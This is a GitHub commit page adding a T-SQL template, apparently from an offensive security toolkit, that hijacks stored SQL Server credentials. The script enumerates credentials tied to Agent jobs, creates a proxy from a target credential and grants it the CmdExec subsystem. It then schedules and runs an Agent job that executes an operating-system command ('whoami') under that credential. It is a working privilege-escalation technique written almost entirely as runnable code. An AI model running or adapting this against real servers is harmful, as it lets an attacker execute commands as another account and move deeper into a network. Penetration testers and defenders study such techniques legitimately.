Skip to content

Commit

Permalink
Create Get-Credentials-HiJack-Process.tsql
Browse files Browse the repository at this point in the history
  • Loading branch information
nullbind authored Aug 20, 2024
1 parent 40b1f88 commit 89e9c1d
Showing 1 changed file with 74 additions and 0 deletions.
74 changes: 74 additions & 0 deletions templates/tsql/Get-Credentials-Hijack.tsql
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
--------------------------
-- Get List of Credentials
--------------------------
USE msdb;
GO

SELECT
j.name AS JobName,
s.step_id AS StepID,
s.step_name AS StepName,
c.name AS CredentialName
FROM sysjobs j
JOIN sysjobsteps s ON j.job_id = s.job_id
LEFT JOIN sys.credentials c ON s.proxy_id = c.credential_id
WHERE c.name IS NOT NULL
ORDER BY j.name, s.step_id;

--------------------------
-- Create a Proxy Using the Target Credential
--------------------------
USE msdb;
GO

EXEC sp_add_proxy
@proxy_name = N'OSCommandProxy', -- Name of the proxy
@credential_name = N'MyCredential'; -- Name of the existing credential

EXEC sp_grant_proxy_to_subsystem
@proxy_name = N'OSCommandProxy',
@subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem

--------------------------
-- Create the SQL Server Agent Job Configured to use the Proxy Account
--------------------------

USE msdb;
GO

-- Create the job
EXEC sp_add_job
@job_name = N'WhoAmIJob'; -- Name of the job

-- Add a job step that uses the proxy to execute the whoami command
EXEC sp_add_jobstep
@job_name = N'WhoAmIJob',
@step_name = N'ExecuteWhoAmI',
@subsystem = N'CmdExec', -- Specifies an Operating System command
@command = N'whoami', -- The OS command to execute
@on_success_action = 1, -- 1 = Quit with success
@on_fail_action = 2, -- 2 = Quit with failure
@proxy_name = N'OSCommandProxy'; -- The proxy created earlier

-- Add a schedule to the job (optional, can be manual or scheduled)
EXEC sp_add_jobschedule
@job_name = N'WhoAmIJob',
@name = N'RunOnce',
@freq_type = 1, -- 1 = Once
@active_start_date = 20240820, -- Start date (YYYYMMDD)
@active_start_time = 120000; -- Start time (HHMMSS)

-- Add the job to the SQL Server Agent
EXEC sp_add_jobserver
@job_name = N'WhoAmIJob',
@server_name = N'(LOCAL)'; -- The server where the job will run

--------------------------
-- Execute the Job
--------------------------
EXEC sp_start_job @job_name = N'WhoAmIJob';

--------------------------
-- Check the Output/Error
--------------------------
EXEC sp_help_jobhistory @job_name= N'WhoAmIJob';

0 comments on commit 89e9c1d

Please sign in to comment.